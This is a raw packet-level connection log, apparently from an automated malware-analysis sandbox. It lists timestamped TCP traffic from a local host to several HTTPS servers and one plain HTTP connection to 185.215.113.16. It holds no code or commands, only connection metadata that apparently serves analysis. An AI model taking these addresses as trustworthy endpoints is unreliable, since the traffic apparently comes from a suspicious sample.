Nov 25, 2024 18:28:25.093722105 CET	443	49736	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:25.094021082 CET	49736	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:25.094163895 CET	49736	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:25.094176054 CET	443	49736	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:25.099687099 CET	443	49733	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:25.099766970 CET	49733	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:25.101232052 CET	49733	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:25.101238966 CET	443	49733	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:25.101475000 CET	443	49733	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:25.114290953 CET	49733	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:25.115276098 CET	49733	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:25.115305901 CET	443	49733	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:25.115417957 CET	49733	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:25.115449905 CET	443	49733	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:25.115586042 CET	49733	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:25.115628004 CET	443	49733	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:25.115770102 CET	49733	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:25.115792036 CET	443	49733	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:25.115943909 CET	49733	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:25.115967989 CET	443	49733	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:25.116439104 CET	49733	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:25.116476059 CET	443	49733	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:25.116485119 CET	49733	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:25.116491079 CET	443	49733	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:25.116656065 CET	49733	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:25.116683006 CET	443	49733	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:25.116705894 CET	49733	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:25.116925001 CET	49733	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:25.116962910 CET	49733	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:25.159337044 CET	443	49733	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:25.159533024 CET	49733	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:25.159562111 CET	443	49733	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:25.159584999 CET	49733	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:25.159600019 CET	443	49733	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:25.159625053 CET	49733	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:25.159636974 CET	443	49733	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:25.159648895 CET	49733	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:25.159655094 CET	443	49733	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:25.390243053 CET	443	49726	4.245.163.56	192.168.2.6
Nov 25, 2024 18:28:25.390269995 CET	443	49726	4.245.163.56	192.168.2.6
Nov 25, 2024 18:28:25.390278101 CET	443	49726	4.245.163.56	192.168.2.6
Nov 25, 2024 18:28:25.390288115 CET	443	49726	4.245.163.56	192.168.2.6
Nov 25, 2024 18:28:25.390307903 CET	443	49726	4.245.163.56	192.168.2.6
Nov 25, 2024 18:28:25.390377045 CET	49726	443	192.168.2.6	4.245.163.56
Nov 25, 2024 18:28:25.390394926 CET	443	49726	4.245.163.56	192.168.2.6
Nov 25, 2024 18:28:25.390448093 CET	49726	443	192.168.2.6	4.245.163.56
Nov 25, 2024 18:28:25.394746065 CET	443	49729	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:25.394812107 CET	443	49729	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:25.394880056 CET	49729	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:25.395301104 CET	49729	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:25.395320892 CET	443	49729	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:25.395329952 CET	49729	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:25.395337105 CET	443	49729	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:25.399266958 CET	49737	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:25.399303913 CET	443	49737	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:25.399596930 CET	49737	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:25.399655104 CET	49737	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:25.399667978 CET	443	49737	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:25.409702063 CET	443	49726	4.245.163.56	192.168.2.6
Nov 25, 2024 18:28:25.409766912 CET	443	49726	4.245.163.56	192.168.2.6
Nov 25, 2024 18:28:25.409787893 CET	49726	443	192.168.2.6	4.245.163.56
Nov 25, 2024 18:28:25.409845114 CET	49726	443	192.168.2.6	4.245.163.56
Nov 25, 2024 18:28:25.410017967 CET	49726	443	192.168.2.6	4.245.163.56
Nov 25, 2024 18:28:25.410022974 CET	443	49726	4.245.163.56	192.168.2.6
Nov 25, 2024 18:28:25.410034895 CET	49726	443	192.168.2.6	4.245.163.56
Nov 25, 2024 18:28:25.410038948 CET	443	49726	4.245.163.56	192.168.2.6
Nov 25, 2024 18:28:25.422538996 CET	443	49730	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:25.422584057 CET	443	49730	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:25.422650099 CET	49730	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:25.422924042 CET	49730	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:25.422935963 CET	443	49730	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:25.422946930 CET	49730	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:25.422951937 CET	443	49730	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:25.426109076 CET	49738	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:25.426130056 CET	443	49738	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:25.426217079 CET	49738	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:25.426388979 CET	49738	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:25.426400900 CET	443	49738	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:25.629193068 CET	443	49731	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:25.629261017 CET	443	49731	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:25.629357100 CET	49731	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:25.629792929 CET	49731	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:25.629815102 CET	443	49731	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:25.629828930 CET	49731	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:25.629834890 CET	443	49731	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:25.633585930 CET	49739	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:25.633630991 CET	443	49739	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:25.633850098 CET	49739	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:25.634068012 CET	49739	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:25.634084940 CET	443	49739	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:26.810834885 CET	443	49735	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:26.811465979 CET	49735	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:26.811501026 CET	443	49735	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:26.812148094 CET	49735	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:26.812155008 CET	443	49735	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:26.883342028 CET	443	49736	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:26.884274960 CET	49736	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:26.884284973 CET	443	49736	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:26.885077953 CET	49736	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:26.885082960 CET	443	49736	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:27.175079107 CET	443	49737	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:27.182533979 CET	49737	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:27.182555914 CET	443	49737	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:27.186939001 CET	49737	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:27.186945915 CET	443	49737	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:27.217458010 CET	443	49738	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:27.249795914 CET	443	49735	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:27.249860048 CET	443	49735	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:27.250082016 CET	49735	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:27.263473034 CET	49738	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:27.263489008 CET	443	49738	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:27.305520058 CET	49738	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:27.305527925 CET	443	49738	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:27.308656931 CET	49735	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:27.308698893 CET	443	49735	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:27.308712006 CET	49735	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:27.308718920 CET	443	49735	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:27.313751936 CET	49741	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:27.313797951 CET	443	49741	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:27.313863039 CET	49741	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:27.314178944 CET	49741	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:27.314193964 CET	443	49741	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:27.351255894 CET	443	49736	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:27.351324081 CET	443	49736	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:27.351556063 CET	49736	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:27.369055986 CET	49736	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:27.369076967 CET	443	49736	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:27.369088888 CET	49736	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:27.369093895 CET	443	49736	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:27.375163078 CET	49742	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:27.375201941 CET	443	49742	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:27.375329971 CET	49742	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:27.375612020 CET	49742	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:27.375624895 CET	443	49742	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:27.612663984 CET	443	49737	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:27.612740040 CET	443	49737	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:27.612938881 CET	49737	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:27.613565922 CET	49737	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:27.613565922 CET	49737	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:27.613593102 CET	443	49737	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:27.613605976 CET	443	49737	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:27.617928982 CET	49743	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:27.617971897 CET	443	49743	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:27.618098021 CET	49743	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:27.618438005 CET	49743	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:27.618453026 CET	443	49743	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:27.702775955 CET	443	49738	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:27.702851057 CET	443	49738	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:27.702908039 CET	49738	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:27.703171015 CET	49738	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:27.703191996 CET	443	49738	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:27.703202963 CET	49738	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:27.703207970 CET	443	49738	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:27.706301928 CET	49744	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:27.706346035 CET	443	49744	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:27.706492901 CET	49744	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:27.706619024 CET	49744	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:27.706649065 CET	443	49744	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:27.856519938 CET	443	49739	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:27.857410908 CET	49739	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:27.857425928 CET	443	49739	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:27.857944965 CET	49739	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:27.857950926 CET	443	49739	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:28.312397003 CET	443	49739	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:28.312469959 CET	443	49739	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:28.312531948 CET	49739	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:28.312925100 CET	49739	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:28.312946081 CET	443	49739	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:28.313007116 CET	49739	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:28.313014030 CET	443	49739	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:28.326255083 CET	49745	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:28.326299906 CET	443	49745	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:28.326391935 CET	49745	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:28.326755047 CET	49745	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:28.326767921 CET	443	49745	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:28.625674009 CET	443	49733	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:28.625775099 CET	443	49733	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:28.625832081 CET	49733	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:28.626034975 CET	49733	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:28.626049042 CET	443	49733	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:28.636914015 CET	49746	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:28.636956930 CET	443	49746	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:28.637048006 CET	49746	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:28.637412071 CET	49746	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:28.637427092 CET	443	49746	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:29.156579018 CET	443	49742	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:29.157294035 CET	49742	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:29.157315016 CET	443	49742	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:29.159183025 CET	49742	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:29.159188986 CET	443	49742	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:29.173090935 CET	443	49741	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:29.175920963 CET	49741	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:29.175934076 CET	443	49741	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:29.176350117 CET	49741	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:29.176353931 CET	443	49741	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:29.337789059 CET	443	49743	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:29.338465929 CET	49743	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:29.338476896 CET	443	49743	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:29.340353966 CET	49743	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:29.340358973 CET	443	49743	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:29.521609068 CET	443	49744	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:29.522176981 CET	49744	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:29.522229910 CET	443	49744	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:29.522682905 CET	49744	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:29.522690058 CET	443	49744	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:29.657392025 CET	443	49742	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:29.657536983 CET	443	49742	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:29.658111095 CET	49742	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:29.658231020 CET	49742	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:29.658248901 CET	443	49742	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:29.658266068 CET	49742	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:29.658272028 CET	443	49742	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:29.661483049 CET	49747	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:29.661525011 CET	443	49747	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:29.661616087 CET	49747	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:29.661900043 CET	49747	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:29.661915064 CET	443	49747	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:29.675084114 CET	443	49741	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:29.675160885 CET	443	49741	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:29.675476074 CET	49741	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:29.675611019 CET	49741	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:29.675631046 CET	443	49741	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:29.678401947 CET	49748	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:29.678433895 CET	443	49748	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:29.679263115 CET	49748	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:29.679568052 CET	49748	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:29.679584026 CET	443	49748	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:29.876539946 CET	443	49743	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:29.876616001 CET	443	49743	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:29.876842022 CET	49743	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:29.876874924 CET	49743	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:29.876888037 CET	443	49743	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:29.876902103 CET	49743	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:29.876908064 CET	443	49743	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:29.880506039 CET	49749	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:29.880543947 CET	443	49749	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:29.880677938 CET	49749	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:29.880778074 CET	49749	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:29.880789042 CET	443	49749	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:29.946089029 CET	443	49746	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:29.946178913 CET	49746	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:29.949042082 CET	49746	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:29.949048996 CET	443	49746	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:29.949306965 CET	443	49746	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:29.958647966 CET	49746	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:29.958684921 CET	49746	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:29.958741903 CET	443	49746	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:30.009885073 CET	443	49744	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:30.009954929 CET	443	49744	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:30.010126114 CET	49744	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:30.010169029 CET	49744	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:30.010169029 CET	49744	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:30.010191917 CET	443	49744	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:30.010221958 CET	443	49744	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:30.012765884 CET	49750	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:30.012794971 CET	443	49750	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:30.012872934 CET	49750	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:30.013101101 CET	49750	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:30.013113976 CET	443	49750	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:30.068974018 CET	443	49745	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:30.069545984 CET	49745	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:30.069564104 CET	443	49745	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:30.070028067 CET	49745	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:30.070033073 CET	443	49745	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:30.514024973 CET	443	49745	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:30.514098883 CET	443	49745	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:30.514471054 CET	49745	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:30.514523029 CET	49745	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:30.514523029 CET	49745	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:30.514549971 CET	443	49745	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:30.514561892 CET	443	49745	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:30.517627001 CET	49751	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:30.517663002 CET	443	49751	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:30.517757893 CET	49751	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:30.517960072 CET	49751	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:30.517971992 CET	443	49751	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:30.983786106 CET	443	49746	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:30.983915091 CET	443	49746	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:30.984015942 CET	49746	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:30.995255947 CET	49746	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:30.995274067 CET	443	49746	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:30.995290041 CET	49746	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:30.995295048 CET	443	49746	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:30.997046947 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:31.117876053 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:31.117969990 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:31.118192911 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:31.238467932 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:31.539650917 CET	443	49748	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:31.540328026 CET	49748	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:31.540338993 CET	443	49748	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:31.541773081 CET	49748	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:31.541779995 CET	443	49748	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:31.607127905 CET	443	49747	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:31.607743979 CET	49747	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:31.607773066 CET	443	49747	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:31.608217955 CET	49747	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:31.608225107 CET	443	49747	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:31.608565092 CET	443	49749	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:31.608980894 CET	49749	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:31.608989954 CET	443	49749	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:31.609479904 CET	49749	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:31.609483957 CET	443	49749	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:31.859859943 CET	443	49750	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:31.860707045 CET	49750	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:31.860728979 CET	443	49750	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:31.861166954 CET	49750	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:31.861174107 CET	443	49750	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:32.011863947 CET	443	49748	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:32.011930943 CET	443	49748	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:32.012051105 CET	49748	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:32.012331963 CET	49748	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:32.012341022 CET	443	49748	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:32.012350082 CET	49748	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:32.012356043 CET	443	49748	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:32.015551090 CET	49753	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:32.015594006 CET	443	49753	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:32.015685081 CET	49753	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:32.015846968 CET	49753	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:32.015860081 CET	443	49753	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:32.044646978 CET	443	49749	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:32.044709921 CET	443	49749	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:32.044804096 CET	49749	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:32.045034885 CET	49749	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:32.045034885 CET	49749	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:32.045049906 CET	443	49749	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:32.045058966 CET	443	49749	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:32.047671080 CET	49754	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:32.047693014 CET	443	49754	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:32.047776937 CET	49754	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:32.047938108 CET	49754	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:32.047954082 CET	443	49754	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:32.061465979 CET	443	49747	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:32.061527967 CET	443	49747	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:32.061590910 CET	49747	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:32.061721087 CET	49747	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:32.061743975 CET	443	49747	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:32.061758041 CET	49747	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:32.061765909 CET	443	49747	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:32.063954115 CET	49755	443	192.168.2.6	13.107.246.63
